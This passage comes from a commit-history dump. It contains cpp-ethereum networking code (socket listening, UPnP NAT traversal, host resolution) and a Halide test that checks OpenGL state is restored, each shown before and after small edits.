_netPrefs.listenPort);\n\t\ttry\n\t\t{\n\t\t\t_acceptor.open(endpoint.protocol());\n\t\t\t_acceptor.set_option(ba::socket_base::reuse_address(true));\n\t\t\t_acceptor.bind(endpoint);\n\t\t\t_acceptor.listen();\n\t\t\tretport = _acceptor.local_endpoint().port();\n\t\t}\n\t\tcatch (...)\n\t\t{\n\t\t\tclog(NetWarn) << \"Couldn't start accepting connections on host. Failed to accept socket.\\n\" << boost::current_exception_diagnostic_information();\n\t\t}\n\t\tassert(retport == _netPrefs.listenPort);\n\t\treturn retport;\n\t}\n\treturn retport;\n}\n\nbi::tcp::endpoint Network::traverseNAT(std::set<bi::address> const& _ifAddresses, unsigned short _listenPort, bi::address& o_upnpInterfaceAddr)\n{\n\tasserts(_listenPort != 0);\n\n\tUPnP* upnp = nullptr;\n\ttry\n\t{\n\t\tupnp = new UPnP;\n\t}\n\t\/\/ let m_upnp continue as null - we handle it properly.\n\tcatch (...) {}\n\n\tbi::tcp::endpoint upnpEP;\n\tif (upnp && upnp->isValid())\n\t{\n\t\tbi::address pAddr;\n\t\tint extPort = 0;\n\t\tfor (auto const& addr: _ifAddresses)\n\t\t\tif (addr.is_v4() && isPrivateAddress(addr) && (extPort = upnp->addRedirect(addr.to_string().c_str(), _listenPort)))\n\t\t\t{\n\t\t\t\tpAddr = addr;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\tauto eIP = upnp->externalIP();\n\t\tbi::address eIPAddr(bi::address::from_string(eIP));\n\t\tif (extPort && eIP != string(\"0.0.0.0\") && !isPrivateAddress(eIPAddr))\n\t\t{\n\t\t\tclog(NetNote) << \"Punched through NAT and mapped local port\" << _listenPort << \"onto external port\" << extPort << \".\";\n\t\t\tclog(NetNote) << \"External addr:\" << eIP;\n\t\t\to_upnpInterfaceAddr = pAddr;\n\t\t\tupnpEP = bi::tcp::endpoint(eIPAddr, (unsigned short)extPort);\n\t\t}\n\t\telse\n\t\t\tclog(NetWarn) << \"Couldn't punch through NAT (or no NAT in place).\";\n\n\t\tif (upnp)\n\t\t\tdelete upnp;\n\t}\n\n\treturn upnpEP;\n}\n\nbi::tcp::endpoint Network::resolveHost(string const& _addr)\n{\n\tstatic boost::asio::io_service s_resolverIoService;\n\t\n\tvector<string> split;\n\tboost::split(split, _addr, boost::is_any_of(\":\"));\n\tunsigned port = split.size() > 1 ? stoi(split[1]) : c_defaultIPPort;\n\n\tbi::tcp::endpoint ep(bi::address(), port);\n\tboost::system::error_code ec;\n\tbi::address address = bi::address::from_string(split[0], ec);\n\tif (!ec)\n\t\tep.address(address);\n\telse\n\t{\n\t\tboost::system::error_code ec;\n\t\t\/\/ resolve returns an iterator (host can resolve to multiple addresses)\n\t\tbi::tcp::resolver r(s_resolverIoService);\n\t\tauto it = r.resolve({split[0], toString(port)}, ec);\n\t\tif (ec)\n\t\t\tclog(NetWarn) << \"Error resolving host address \" << _addr << \":\" << ec.message();\n\t\telse\n\t\t\tep = *it;\n\t}\n\treturn ep;\n}\n\n<commit_msg>use explicit name of const<commit_after>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file Network.cpp\n * @author Alex Leverington <nessence@gmail.com>\n * @author Gav Wood <i@gavwood.com>\n * @author Eric Lombrozo <elombrozo@gmail.com> (Windows version of getInterfaceAddresses())\n * @date 2014\n *\/\n\n#include <sys\/types.h>\n#ifndef _WIN32\n#include <ifaddrs.h>\n#endif\n\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/algorithm\/string\/split.hpp>\n\n#include <libdevcore\/Common.h>\n#include <libdevcore\/Assertions.h>\n#include <libdevcore\/CommonIO.h>\n#include <libethcore\/Exceptions.h>\n#include \"Common.h\"\n#include \"UPnP.h\"\n#include \"Network.h\"\n\nusing namespace std;\nusing namespace dev;\nusing namespace dev::p2p;\n\nstd::set<bi::address> Network::getInterfaceAddresses()\n{\n\tstd::set<bi::address> addresses;\n\n#ifdef _WIN32\n\tWSAData wsaData;\n\tif (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)\n\t\tBOOST_THROW_EXCEPTION(NoNetworking());\n\n\tchar ac[80];\n\tif (gethostname(ac, sizeof(ac)) == SOCKET_ERROR)\n\t{\n\t\tclog(NetWarn) << \"Error \" << WSAGetLastError() << \" when getting local host name.\";\n\t\tWSACleanup();\n\t\tBOOST_THROW_EXCEPTION(NoNetworking());\n\t}\n\n\tstruct hostent* phe = gethostbyname(ac);\n\tif (phe == 0)\n\t{\n\t\tclog(NetWarn) << \"Bad host lookup.\";\n\t\tWSACleanup();\n\t\tBOOST_THROW_EXCEPTION(NoNetworking());\n\t}\n\n\tfor (int i = 0; phe->h_addr_list[i] != 0; ++i)\n\t{\n\t\tstruct in_addr addr;\n\t\tmemcpy(&addr, phe->h_addr_list[i], sizeof(struct in_addr));\n\t\tchar *addrStr = inet_ntoa(addr);\n\t\tbi::address address(bi::address::from_string(addrStr));\n\t\tif (!isLocalHostAddress(address))\n\t\t\taddresses.insert(address.to_v4());\n\t}\n\n\tWSACleanup();\n#else\n\tifaddrs* ifaddr;\n\tif (getifaddrs(&ifaddr) == -1)\n\t\tBOOST_THROW_EXCEPTION(NoNetworking());\n\n\tfor (auto ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next)\n\t{\n\t\tif (!ifa->ifa_addr || string(ifa->ifa_name) == \"lo0\")\n\t\t\tcontinue;\n\n\t\tif (ifa->ifa_addr->sa_family == AF_INET)\n\t\t{\n\t\t\tin_addr addr = ((struct sockaddr_in *)ifa->ifa_addr)->sin_addr;\n\t\t\tboost::asio::ip::address_v4 address(boost::asio::detail::socket_ops::network_to_host_long(addr.s_addr));\n\t\t\tif (!isLocalHostAddress(address))\n\t\t\t\taddresses.insert(address);\n\t\t}\n\t\telse if (ifa->ifa_addr->sa_family == AF_INET6)\n\t\t{\n\t\t\tsockaddr_in6* sockaddr = ((struct sockaddr_in6 *)ifa->ifa_addr);\n\t\t\tin6_addr addr = sockaddr->sin6_addr;\n\t\t\tboost::asio::ip::address_v6::bytes_type bytes;\n\t\t\tmemcpy(&bytes[0], addr.s6_addr, 16);\n\t\t\tboost::asio::ip::address_v6 address(bytes, sockaddr->sin6_scope_id);\n\t\t\tif (!isLocalHostAddress(address))\n\t\t\t\taddresses.insert(address);\n\t\t}\n\t}\n\n\tif (ifaddr!=NULL)\n\t\tfreeifaddrs(ifaddr);\n\n#endif\n\n\treturn std::move(addresses);\n}\n\nint Network::tcp4Listen(bi::tcp::acceptor& _acceptor, NetworkPreferences const& _netPrefs)\n{\n\tint retport = -1;\n\tif (_netPrefs.listenIPAddress.empty())\n\t\tfor (unsigned i = 0; i < 2; ++i)\n\t\t{\n\t\t\t\/\/ try to connect w\/listenPort, else attempt net-allocated port\n\t\t\tbi::tcp::endpoint endpoint(bi::tcp::v4(), i ? 0 : _netPrefs.listenPort);\n\t\t\ttry\n\t\t\t{\n\t\t\t\t_acceptor.open(endpoint.protocol());\n\t\t\t\t_acceptor.set_option(ba::socket_base::reuse_address(true));\n\t\t\t\t_acceptor.bind(endpoint);\n\t\t\t\t_acceptor.listen();\n\t\t\t\tretport = _acceptor.local_endpoint().port();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcatch (...)\n\t\t\t{\n\t\t\t\tif (i)\n\t\t\t\t{\n\t\t\t\t\t\/\/ both attempts failed\n\t\t\t\t\tcwarn << \"Couldn't start accepting connections on host. Something very wrong with network?\\n\" << boost::current_exception_diagnostic_information();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/ first attempt failed\n\t\t\t\t_acceptor.close();\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\telse\n\t{\n\t\tbi::tcp::endpoint endpoint(bi::address::from_string(_netPrefs.listenIPAddress), _netPrefs.listenPort);\n\t\ttry\n\t\t{\n\t\t\t_acceptor.open(endpoint.protocol());\n\t\t\t_acceptor.set_option(ba::socket_base::reuse_address(true));\n\t\t\t_acceptor.bind(endpoint);\n\t\t\t_acceptor.listen();\n\t\t\tretport = _acceptor.local_endpoint().port();\n\t\t}\n\t\tcatch (...)\n\t\t{\n\t\t\tclog(NetWarn) << \"Couldn't start accepting connections on host. Failed to accept socket.\\n\" << boost::current_exception_diagnostic_information();\n\t\t}\n\t\tassert(retport == _netPrefs.listenPort);\n\t\treturn retport;\n\t}\n\treturn retport;\n}\n\nbi::tcp::endpoint Network::traverseNAT(std::set<bi::address> const& _ifAddresses, unsigned short _listenPort, bi::address& o_upnpInterfaceAddr)\n{\n\tasserts(_listenPort != 0);\n\n\tUPnP* upnp = nullptr;\n\ttry\n\t{\n\t\tupnp = new UPnP;\n\t}\n\t\/\/ let m_upnp continue as null - we handle it properly.\n\tcatch (...) {}\n\n\tbi::tcp::endpoint upnpEP;\n\tif (upnp && upnp->isValid())\n\t{\n\t\tbi::address pAddr;\n\t\tint extPort = 0;\n\t\tfor (auto const& addr: _ifAddresses)\n\t\t\tif (addr.is_v4() && isPrivateAddress(addr) && (extPort = upnp->addRedirect(addr.to_string().c_str(), _listenPort)))\n\t\t\t{\n\t\t\t\tpAddr = addr;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\tauto eIP = upnp->externalIP();\n\t\tbi::address eIPAddr(bi::address::from_string(eIP));\n\t\tif (extPort && eIP != string(\"0.0.0.0\") && !isPrivateAddress(eIPAddr))\n\t\t{\n\t\t\tclog(NetNote) << \"Punched through NAT and mapped local port\" << _listenPort << \"onto external port\" << extPort << \".\";\n\t\t\tclog(NetNote) << \"External addr:\" << eIP;\n\t\t\to_upnpInterfaceAddr = pAddr;\n\t\t\tupnpEP = bi::tcp::endpoint(eIPAddr, (unsigned short)extPort);\n\t\t}\n\t\telse\n\t\t\tclog(NetWarn) << \"Couldn't punch through NAT (or no NAT in place).\";\n\n\t\tif (upnp)\n\t\t\tdelete upnp;\n\t}\n\n\treturn upnpEP;\n}\n\nbi::tcp::endpoint Network::resolveHost(string const& _addr)\n{\n\tstatic boost::asio::io_service s_resolverIoService;\n\t\n\tvector<string> split;\n\tboost::split(split, _addr, boost::is_any_of(\":\"));\n\tunsigned port = split.size() > 1 ? stoi(split[1]) : dev::p2p::c_defaultIPPort;\n\n\tbi::tcp::endpoint ep(bi::address(), port);\n\tboost::system::error_code ec;\n\tbi::address address = bi::address::from_string(split[0], ec);\n\tif (!ec)\n\t\tep.address(address);\n\telse\n\t{\n\t\tboost::system::error_code ec;\n\t\t\/\/ resolve returns an iterator (host can resolve to multiple addresses)\n\t\tbi::tcp::resolver r(s_resolverIoService);\n\t\tauto it = r.resolve({split[0], toString(port)}, ec);\n\t\tif (ec)\n\t\t\tclog(NetWarn) << \"Error resolving host address \" << _addr << \":\" << ec.message();\n\t\telse\n\t\t\tep = *it;\n\t}\n\treturn ep;\n}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Added $pluswildcard<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Test doesn't build on windows, because OpenGL on windows is a nightmare.\n#ifdef _WIN32\n#include <stdio.h>\nint main() {\n    printf(\"Skipping test on Windows\\n\");\n    return 0;\n}\n#else\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stddef.h>\n#include <cstring>\n#include \"..\/src\/runtime\/mini_opengl.h\"\n#include \"Halide.h\"\n\nextern \"C\" void glGenTextures(GLsizei, GLuint *);\nextern \"C\" void glTexParameteri(GLenum, GLenum, GLint);\nextern \"C\" void glBindTexture(GLenum, GLuint);\nextern \"C\" void glTexImage2D(GLenum, GLint, GLint, GLsizei, GLsizei, GLint, GLenum, GLenum, const GLvoid *);\nextern \"C\" GLuint glCreateProgram();\nextern \"C\" void glAttachShader(GLuint, GLuint);\nextern \"C\" void glLinkProgram(GLuint);\nextern \"C\" void glGetProgramiv(GLuint, GLenum, GLint *);\nextern \"C\" void glGetProgramInfoLog(GLuint, GLsizei, GLsizei *, GLchar *);\nextern \"C\" GLuint glCreateShader(GLenum);\nextern \"C\" void glShaderSource(GLuint, GLsizei, const GLchar **, const GLint *);\nextern \"C\" void glCompileShader(GLuint);\nextern \"C\" void glGetShaderiv(GLuint, GLenum, GLint *);\nextern \"C\" void glGetShaderInfoLog(GLuint, GLsizei, GLsizei *, GLchar *);\nextern \"C\" void glEnable(GLenum);\nextern \"C\" void glDisable(GLenum);\nextern \"C\" void glGetIntegerv(GLenum, GLint *);\nextern \"C\" void glGetBooleanv(GLenum, GLboolean *);\nextern \"C\" GLenum glGetError();\nextern \"C\" void glActiveTexture(GLenum);\nextern \"C\" void glEnableVertexAttribArray(GLuint);\nextern \"C\" void glDisableVertexAttribArray(GLuint);\nextern \"C\" void glUseProgram(GLuint);\nextern \"C\" void glGenBuffers(GLsizei, GLuint *);\nextern \"C\" void glViewport(GLint, GLint, GLsizei, GLsizei);\nextern \"C\" void glGenFramebuffers(GLsizei, GLuint *);\nextern \"C\" void glBindBuffer(GLenum, GLuint);\nextern \"C\" void glBindFramebuffer(GLenum, GLuint);\nextern \"C\" void glGenVertexArrays(GLsizei, GLuint *);\nextern \"C\" void glBindVertexArray(GLuint);\nextern \"C\" void glGetVertexAttribiv(GLuint, GLenum, GLint *);\nextern \"C\" const GLubyte* glGetString(GLenum name);\n\n\/\/ Generates an arbitrary program.\nclass Program\n{\n    public:\n\n    static GLuint handle()\n    {\n        const char *vertexShader = \" \\\n                                    attribute vec4 Position;  \\\n                                    attribute vec2 TexCoordIn; \\\n                                    varying vec2 TexCoordOut; \\\n                                    void main(void) {  \\\n                                        gl_Position = Position; \\\n                                        TexCoordOut = TexCoordIn; \\\n                                    }\";\n\n        const char *fragmentShader = \" \\\n                                      varying vec2 TexCoordOut; \\\n                                      uniform sampler2D Texture; \\\n                                      void main(void) { \\\n                                          gl_FragColor = texture2D(Texture, TexCoordOut); \\\n                                      }\";\n\n        GLuint handle = glCreateProgram();\n        glAttachShader(handle, compileShader(\"vertex\", vertexShader, GL_VERTEX_SHADER));\n        glAttachShader(handle, compileShader(\"fragment\", fragmentShader, GL_FRAGMENT_SHADER));\n        glLinkProgram(handle);\n\n        GLint linkSuccess;\n        glGetProgramiv(handle, GL_LINK_STATUS, &linkSuccess);\n        if (linkSuccess == GL_FALSE) {\n            GLchar messages[256];\n            glGetProgramInfoLog(handle, sizeof(messages), 0, messages);\n            fprintf(stderr, \"Error linking program: %s\\n\", messages);\n            exit(1);\n        }\n\n        return handle;\n    }\n\n    private:\n\n    static GLuint compileShader(const char *label, const char *shaderString, GLenum shaderType)\n    {\n        const GLuint handle = glCreateShader(shaderType);\n        const int len = strlen(shaderString);\n        glShaderSource(handle, 1, &shaderString, &len);\n        glCompileShader(handle);\n        GLint compileSuccess;\n        glGetShaderiv(handle, GL_COMPILE_STATUS, &compileSuccess);\n        if (compileSuccess == GL_FALSE) {\n            GLchar messages[256];\n            glGetShaderInfoLog(handle, sizeof(messages), 0, messages);\n            fprintf(stderr, \"Error compiling %s shader: %s\\n\", label, messages);\n            exit(1);\n        }\n        return handle;\n    }\n};\n\n\n\/\/ Encapsulates setting OpenGL's state to arbitrary values, and checking\n\/\/ whether the state matches those values.\nclass KnownState\n{\n    private:\n\n    void gl_enable(GLenum cap, bool state)\n    {\n        (state ? glEnable : glDisable)(cap);\n    }\n\n    GLuint gl_gen(void (*fn)(GLsizei, GLuint *))\n    {\n        GLuint val;\n        (*fn)(1, &val);\n        return val;\n    }\n\n\n    void check_value(const char *operation, const char *label, GLenum pname, GLint initial)\n    {\n        GLint val;\n        glGetIntegerv(pname, &val);\n        if (val != initial) {\n            fprintf(stderr, \"%s did not restore %s: initial value was %d (%#x), current value is %d (%#x)\\n\", operation, label, initial, initial, val, val);\n            errors = true;\n        }\n    }\n\n    void check_value(const char *operation, const char *label, GLenum pname, GLenum initial)\n    {\n        check_value(operation, label, pname, (GLint) initial);\n    }\n\n    void check_value(const char *operation, const char *label, GLenum pname, GLint initial[], int n=4)\n    {\n        GLint val[2048];\n        glGetIntegerv(pname, val);\n        for (int i=0; i<n; i++) {\n            if (val[i] != initial[i]) {\n                fprintf(stderr, \"%s did not restore %s: initial value was\", operation, label);\n                for (int j=0; j<n; j++) fprintf(stderr, \" %d\", initial[j]);\n                fprintf(stderr, \", current value is\");\n                for (int j=0; j<n; j++) fprintf(stderr, \" %d\", val[j]);\n                fprintf(stderr, \"\\n\");\n                errors = true;\n                return;\n            }\n        }\n    }\n\n    void check_value(const char *operation, const char *label, GLenum pname, bool initial)\n    {\n        GLboolean val;\n        glGetBooleanv(pname, &val);\n        if (val != initial) {\n            fprintf(stderr, \"%s did not restore boolean %s: initial value was %s, current value is %s\\n\", operation, label, initial ? \"true\" : \"false\", val ? \"true\" : \"false\");\n            errors = true;\n        }\n    }\n\n    void check_error(const char *label)\n    {\n        GLenum err = glGetError();\n        if (err != GL_NO_ERROR) {\n            fprintf(stderr, \"Error setting %s: OpenGL error %#x\\n\", label, err);\n            errors = true;\n        }\n    }\n\n    \/\/ version of OpenGL\n    int gl_major_version;\n    int gl_minor_version;\n\n    GLenum initial_active_texture;\n    GLint initial_viewport[4];\n    GLuint initial_array_buffer_binding;\n    GLuint initial_element_array_buffer_binding;\n    GLuint initial_current_program;\n    GLuint initial_framebuffer_binding;\n    static const int ntextures = 10;\n    GLuint initial_bound_textures[ntextures];\n    bool initial_cull_face;\n    bool initial_depth_test;\n\n    static const int nvertex_attribs = 10;\n    bool initial_vertex_attrib_array_enabled[nvertex_attribs];\n\n    \/\/ The next two functions are stolen from opengl.cpp\n    \/\/ and are used to parse the major\/minor version of OpenGL\n    \/\/ to see if vertex array objects are supported\n    const char *parse_int(const char *str, int *val) {\n        int v = 0;\n        size_t i = 0;\n        while (str[i] >= '0' && str[i] <= '9') {\n            v = 10 * v + (str[i] - '0');\n            i++;\n        }\n        if (i > 0) {\n            *val = v;\n            return &str[i];\n        }\n        return NULL;\n    }\n\n    const char *parse_opengl_version(const char *str, int *major, int *minor) {\n        str = parse_int(str, major);\n        if (str == NULL || *str != '.') {\n            return NULL;\n        }\n        return parse_int(str + 1, minor);\n    }\n\n    GLuint initial_vertex_array_binding;\n\n    public:\n\n    bool errors;\n\n\n    \/\/ This sets most values to generated or arbitrary values, which the\n    \/\/ halide calls would be unlikely to accidentally use.  But for boolean\n    \/\/ values, we want to be sure that halide is really restoring the\n    \/\/ initial value, not just setting it to true or false.  So we need to\n    \/\/ be able to try both.\n    void setup(bool boolval)\n    {\n        \/\/ parse the OpenGL version\n        const char *version = (const char *)glGetString(GL_VERSION);\n        parse_opengl_version(version, &gl_major_version, &gl_minor_version);\n\n        glGenTextures(ntextures, initial_bound_textures);\n        for (int i=0; i<ntextures; i++) {\n            glActiveTexture(GL_TEXTURE0 + i);\n            glBindTexture(GL_TEXTURE_2D, initial_bound_textures[i]);\n        }\n\t    glActiveTexture(initial_active_texture = GL_TEXTURE3);\n\n        for (int i=0; i<nvertex_attribs; i++) {\n            if ( (initial_vertex_attrib_array_enabled[i] = boolval ) )\n                glEnableVertexAttribArray(i);\n            else\n                glDisableVertexAttribArray(i);\n            char buf[256];\n            sprintf(buf, \"vertex attrib array %d state\", i);\n            check_error(buf);\n        }\n\n        glUseProgram(initial_current_program = Program::handle());\n        glViewport(initial_viewport[0] = 111, initial_viewport[1] = 222, initial_viewport[2] = 333, initial_viewport[3] = 444);\n        gl_enable(GL_CULL_FACE, initial_cull_face = boolval);\n        gl_enable(GL_DEPTH_TEST, initial_depth_test = boolval);\n        glBindBuffer(GL_ARRAY_BUFFER, initial_array_buffer_binding = gl_gen(glGenBuffers));\n        glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, initial_element_array_buffer_binding = gl_gen(glGenBuffers));\n        glBindFramebuffer(GL_FRAMEBUFFER, initial_framebuffer_binding = gl_gen(glGenFramebuffers));\n\n        \/\/ Vertex array objects are only used by Halide if the OpenGL version >=3\n        if (gl_major_version >= 3) {\n            glBindVertexArray(initial_vertex_array_binding = gl_gen(glGenVertexArrays));\n            check_error(\"known state\");\n        }\n    }\n\n    void check(const char *operation)\n    {\n        check_value(operation, \"ActiveTexture\", GL_ACTIVE_TEXTURE, initial_active_texture);\n        check_value(operation, \"current program\", GL_CURRENT_PROGRAM, initial_current_program);\n        check_value(operation, \"framebuffer binding\", GL_FRAMEBUFFER_BINDING, initial_framebuffer_binding);\n        check_value(operation, \"array buffer binding\", GL_ARRAY_BUFFER_BINDING, initial_array_buffer_binding);\n        check_value(operation, \"element array buffer binding\", GL_ELEMENT_ARRAY_BUFFER_BINDING, initial_element_array_buffer_binding);\n        check_value(operation, \"viewport\", GL_VIEWPORT, initial_viewport);\n        check_value(operation, \"GL_CULL_FACE\", GL_CULL_FACE, initial_cull_face);\n        check_value(operation, \"GL_DEPTH_TEST\", GL_DEPTH_TEST, initial_cull_face);\n\n        \/\/ Vertex array objects are only used by Halide if the OpenGL version >=3\n        if (gl_major_version >= 3) {\n            check_value(operation, \"vertex array binding\", GL_VERTEX_ARRAY_BINDING, initial_vertex_array_binding);\n        }\n\n        for (int i=0; i<ntextures; i++) {\n            char buf[100];\n            sprintf(buf, \"bound texture (unit %d)\", i);\n            glActiveTexture(GL_TEXTURE0 + i);\n            check_value(operation, buf, GL_TEXTURE_BINDING_2D, initial_bound_textures[i]);\n        }\n\n        for (int i=0; i < nvertex_attribs; i++) {\n            int initial = initial_vertex_attrib_array_enabled[i];\n            GLint val;\n            glGetVertexAttribiv(i, GL_VERTEX_ATTRIB_ARRAY_ENABLED, &val);\n            if (val != initial) {\n                fprintf(stderr, \"%s did not restore boolean VertexAttributeArrayEnabled(%d): initial value was %s, current value is %s\\n\", operation, i, initial ? \"true\" : \"false\", val ? \"true\" : \"false\");\n                errors = true;\n            }\n        }\n    }\n};\n\nusing namespace Halide;\n\nint main() {\n    KnownState known_state;\n\n    Image<uint8_t> input(255, 10, 3);\n    Buffer out(UInt(8), 255, 10, 3);\n\n    Var x, y, c;\n    Func g;\n    g(x, y, c) = input(x, y, c);\n    g.bound(c, 0, 3);\n    g.glsl(x, y, c);\n    g.realize(out); \/\/ let Halide initialize OpenGL\n\n    known_state.setup(true);\n    g.realize(out);\n    known_state.check(\"realize\");\n\n    known_state.setup(true);\n    out.copy_to_host();\n    known_state.check(\"copy_to_host\");\n\n    known_state.setup(false);\n    g.realize(out);\n    known_state.check(\"realize\");\n\n    known_state.setup(false);\n    out.copy_to_host();\n    known_state.check(\"copy_to_host\");\n\n    if (known_state.errors) {\n\treturn 1;\n    }\n\n    printf(\"Success!\\n\");\n    return 0;\n}\n\n#endif\n<commit_msg>Minor formatting.<commit_after>\/\/ Test doesn't build on windows, because OpenGL on windows is a nightmare.\n#ifdef _WIN32\n#include <stdio.h>\nint main() {\n    printf(\"Skipping test on Windows\\n\");\n    return 0;\n}\n#else\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stddef.h>\n#include <cstring>\n#include \"..\/src\/runtime\/mini_opengl.h\"\n#include \"Halide.h\"\n\nextern \"C\" void glGenTextures(GLsizei, GLuint *);\nextern \"C\" void glTexParameteri(GLenum, GLenum, GLint);\nextern \"C\" void glBindTexture(GLenum, GLuint);\nextern \"C\" void glTexImage2D(GLenum, GLint, GLint, GLsizei, GLsizei, GLint, GLenum, GLenum, const GLvoid *);\nextern \"C\" GLuint glCreateProgram();\nextern \"C\" void glAttachShader(GLuint, GLuint);\nextern \"C\" void glLinkProgram(GLuint);\nextern \"C\" void glGetProgramiv(GLuint, GLenum, GLint *);\nextern \"C\" void glGetProgramInfoLog(GLuint, GLsizei, GLsizei *, GLchar *);\nextern \"C\" GLuint glCreateShader(GLenum);\nextern \"C\" void glShaderSource(GLuint, GLsizei, const GLchar **, const GLint *);\nextern \"C\" void glCompileShader(GLuint);\nextern \"C\" void glGetShaderiv(GLuint, GLenum, GLint *);\nextern \"C\" void glGetShaderInfoLog(GLuint, GLsizei, GLsizei *, GLchar *);\nextern \"C\" void glEnable(GLenum);\nextern \"C\" void glDisable(GLenum);\nextern \"C\" void glGetIntegerv(GLenum, GLint *);\nextern \"C\" void glGetBooleanv(GLenum, GLboolean *);\nextern \"C\" GLenum glGetError();\nextern \"C\" void glActiveTexture(GLenum);\nextern \"C\" void glEnableVertexAttribArray(GLuint);\nextern \"C\" void glDisableVertexAttribArray(GLuint);\nextern \"C\" void glUseProgram(GLuint);\nextern \"C\" void glGenBuffers(GLsizei, GLuint *);\nextern \"C\" void glViewport(GLint, GLint, GLsizei, GLsizei);\nextern \"C\" void glGenFramebuffers(GLsizei, GLuint *);\nextern \"C\" void glBindBuffer(GLenum, GLuint);\nextern \"C\" void glBindFramebuffer(GLenum, GLuint);\nextern \"C\" void glGenVertexArrays(GLsizei, GLuint *);\nextern \"C\" void glBindVertexArray(GLuint);\nextern \"C\" void glGetVertexAttribiv(GLuint, GLenum, GLint *);\nextern \"C\" const GLubyte* glGetString(GLenum name);\n\n\/\/ Generates an arbitrary program.\nclass Program\n{\n    public:\n\n    static GLuint handle()\n    {\n        const char *vertexShader = \" \\\n                                    attribute vec4 Position;  \\\n                                    attribute vec2 TexCoordIn; \\\n                                    varying vec2 TexCoordOut; \\\n                                    void main(void) {  \\\n                                        gl_Position = Position; \\\n                                        TexCoordOut = TexCoordIn; \\\n                                    }\";\n\n        const char *fragmentShader = \" \\\n                                      varying vec2 TexCoordOut; \\\n                                      uniform sampler2D Texture; \\\n                                      void main(void) { \\\n                                          gl_FragColor = texture2D(Texture, TexCoordOut); \\\n                                      }\";\n\n        GLuint handle = glCreateProgram();\n        glAttachShader(handle, compileShader(\"vertex\", vertexShader, GL_VERTEX_SHADER));\n        glAttachShader(handle, compileShader(\"fragment\", fragmentShader, GL_FRAGMENT_SHADER));\n        glLinkProgram(handle);\n\n        GLint linkSuccess;\n        glGetProgramiv(handle, GL_LINK_STATUS, &linkSuccess);\n        if (linkSuccess == GL_FALSE) {\n            GLchar messages[256];\n            glGetProgramInfoLog(handle, sizeof(messages), 0, messages);\n            fprintf(stderr, \"Error linking program: %s\\n\", messages);\n            exit(1);\n        }\n\n        return handle;\n    }\n\n    private:\n\n    static GLuint compileShader(const char *label, const char *shaderString, GLenum shaderType)\n    {\n        const GLuint handle = glCreateShader(shaderType);\n        const int len = strlen(shaderString);\n        glShaderSource(handle, 1, &shaderString, &len);\n        glCompileShader(handle);\n        GLint compileSuccess;\n        glGetShaderiv(handle, GL_COMPILE_STATUS, &compileSuccess);\n        if (compileSuccess == GL_FALSE) {\n            GLchar messages[256];\n            glGetShaderInfoLog(handle, sizeof(messages), 0, messages);\n            fprintf(stderr, \"Error compiling %s shader: %s\\n\", label, messages);\n            exit(1);\n        }\n        return handle;\n    }\n};\n\n\n\/\/ Encapsulates setting OpenGL's state to arbitrary values, and checking\n\/\/ whether the state matches those values.\nclass KnownState\n{\n    private:\n\n    void gl_enable(GLenum cap, bool state)\n    {\n        (state ? glEnable : glDisable)(cap);\n    }\n\n    GLuint gl_gen(void (*fn)(GLsizei, GLuint *))\n    {\n        GLuint val;\n        (*fn)(1, &val);\n        return val;\n    }\n\n\n    void check_value(const char *operation, const char *label, GLenum pname, GLint initial)\n    {\n        GLint val;\n        glGetIntegerv(pname, &val);\n        if (val != initial) {\n            fprintf(stderr, \"%s did not restore %s: initial value was %d (%#x), current value is %d (%#x)\\n\", operation, label, initial, initial, val, val);\n            errors = true;\n        }\n    }\n\n    void check_value(const char *operation, const char *label, GLenum pname, GLenum initial)\n    {\n        check_value(operation, label, pname, (GLint) initial);\n    }\n\n    void check_value(const char *operation, const char *label, GLenum pname, GLint initial[], int n=4)\n    {\n        GLint val[2048];\n        glGetIntegerv(pname, val);\n        for (int i=0; i<n; i++) {\n            if (val[i] != initial[i]) {\n                fprintf(stderr, \"%s did not restore %s: initial value was\", operation, label);\n                for (int j=0; j<n; j++) fprintf(stderr, \" %d\", initial[j]);\n                fprintf(stderr, \", current value is\");\n                for (int j=0; j<n; j++) fprintf(stderr, \" %d\", val[j]);\n                fprintf(stderr, \"\\n\");\n                errors = true;\n                return;\n            }\n        }\n    }\n\n    void check_value(const char *operation, const char *label, GLenum pname, bool initial)\n    {\n        GLboolean val;\n        glGetBooleanv(pname, &val);\n        if (val != initial) {\n            fprintf(stderr, \"%s did not restore boolean %s: initial value was %s, current value is %s\\n\", operation, label, initial ? \"true\" : \"false\", val ? \"true\" : \"false\");\n            errors = true;\n        }\n    }\n\n    void check_error(const char *label)\n    {\n        GLenum err = glGetError();\n        if (err != GL_NO_ERROR) {\n            fprintf(stderr, \"Error setting %s: OpenGL error %#x\\n\", label, err);\n            errors = true;\n        }\n    }\n\n    \/\/ version of OpenGL\n    int gl_major_version;\n    int gl_minor_version;\n\n    GLenum initial_active_texture;\n    GLint initial_viewport[4];\n    GLuint initial_array_buffer_binding;\n    GLuint initial_element_array_buffer_binding;\n    GLuint initial_current_program;\n    GLuint initial_framebuffer_binding;\n    static const int ntextures = 10;\n    GLuint initial_bound_textures[ntextures];\n    bool initial_cull_face;\n    bool initial_depth_test;\n\n    static const int nvertex_attribs = 10;\n    bool initial_vertex_attrib_array_enabled[nvertex_attribs];\n\n    \/\/ The next two functions are stolen from opengl.cpp\n    \/\/ and are used to parse the major\/minor version of OpenGL\n    \/\/ to see if vertex array objects are 